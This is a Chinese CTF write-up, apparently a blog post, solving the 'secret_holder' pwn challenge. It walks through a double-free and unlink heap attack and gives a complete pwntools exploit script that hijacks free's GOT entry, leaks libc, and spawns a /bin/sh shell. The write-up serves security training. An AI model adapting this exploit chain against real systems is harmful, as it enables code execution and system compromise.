攻防世界PWN之secret_holder题解

161 篇文章 9 订阅
161 篇文章 9 订阅

secret_holder

本题,附件在https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder,刷题网站上没有提供

拿到附件,我们先检查一下程序的保护机制

然后,我们用IDA分析一下

Free后没有清空指针,可以造成多次重复free

可以多次创建堆,只要我们free后再创建即可

那么,本题,我们可以利用unsorted bin的unlink来攻击

我们先创建一个huge的堆,然后释放huge堆,再创建一个small的堆,再创建一个big堆

  1. #申请一个大chunk  
  2. new(3,'a'*0x100)  
  3. delete(3)  
  4.   
  5. #申请一个小chunk  
  6. new(1,'b'*0x10)  
  7. #申请一个中等chunk  
  8. new(2,'c'*0x100)  

那么,内存中,三个堆的布局是这样的

Huge(free)

 

Small(used)

Big(used)

 

接下来我们把Small和Big的都free掉,那么在large bin里,有Huge的地址,在fastbin里,有Small的地址,unsorted bin里的big合并到了top块里去了。由于堆指针依然保留着,我们可以double free那个Big块。当我们重新申请Huge的空间回来时,由于使用的是calloc,导致Huge内容全部被清空,也就是Small、Big的结构体信息也会没有了。我们要对Bigdouble free,因此我们既要在Small的位置伪造假chunk,也要重新构造好Big结构体,还有在Big后面再伪造几个假chunk,绕过检查

  1. #释放chunk0chunk1  
  2. delete(1)  
  3. delete(2)  
  4.   
  5. #构造假chunk  
  6. fake_chunk = p64(0) + p64(0x21)  
  7. #fd,bk  
  8. fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)  
  9. payload = fake_chunk.ljust(0x20,'\x00')  
  10. #prev_size size  
  11. payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2  
  12. #prev_size size  
  13. payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3  
  14. #prev_size size  
  15. payload += p64(0) + p64(0x81) #chunk4  
  16. #重新申请large chunk,使得分配到的位置与chu  
  17. new(3,payload)  

现在,堆的布局是这样的

Huge(used)

 

Fake_chunk1(伪造free状态)

Big(free)

Fake_chunk3

Fake_chunk4

 

我们再次free那个Big,Big就会与Fake_chunk1发生unlink,而Fake_chunk3、Fake_chunk4是为了绕过边界检查。这样,我们就将large堆的指针指向了堆数组本身,我们就能自由的控制堆指针了。我们先把free的got表修改成puts的plt地址,这样,free时就能泄露出信息。

综上,我们的exp脚本

#coding:utf8
from pwn import *
from LibcSearcher import *

sh = process('./SecretHolder')
#sh = remote('111.198.29.45',58439)
elf = ELF('./SecretHolder')
#huge_secret指针的地址
huge_secret = 0x6020A8
bss_addr = 0x602090
free_got = elf.got['free']
puts_plt = elf.plt['puts']
read_got = elf.got['read']

def new(h_type,content):
   sh.sendlineafter('3. Renew secret','1')
   sh.sendlineafter('3. Huge secret',str(h_type))
   sh.sendlineafter('Tell me your secret:',content)

def delete(h_type):
   sh.sendlineafter('3. Renew secret','2')
   sh.sendlineafter('3. Huge secret',str(h_type))

def edit(h_type,content):
   sh.sendlineafter('3. Renew secret','3')
   sh.sendlineafter('3. Huge secret',str(h_type))
   sh.sendafter('Tell me your secret:',content)

#申请一个大chunk
new(3,'a'*0x100)
delete(3)

#申请一个小chunk
new(1,'b'*0x10)
#申请一个中等chunk
new(2,'c'*0x100)

#释放chunk0和chunk1
delete(1)
delete(2)

#构造假chunk
fake_chunk = p64(0) + p64(0x21)
#fd,bk
fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)
payload = fake_chunk.ljust(0x20,'\x00')
#prev_size size
payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2
#prev_size size
payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3
#prev_size size
payload += p64(0) + p64(0x81) #chunk4
#重新申请large chunk,使得分配到的位置与chu
new(3,payload)

#unlink 3这个large bin
delete(2)
#现在,我们可以自由控制三个堆指针了,先修改三个堆指针
payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3
edit(3,payload)

#修改free的got表为puts的plt
edit(2,p64(puts_plt))
#泄露read的地址
delete(1)
sh.recvuntil('\n')
read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'libc_base=',hex(read_addr)
print 'system_addr=',hex(system_addr)
#修改free的got表内容,指向system
edit(2,p64(system_addr))
#修改堆1指针,指向/bin/sh字符串
edit(3,p64(0) * 2 + p64(binsh_addr))
#system("/bin/sh")
delete(2)

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值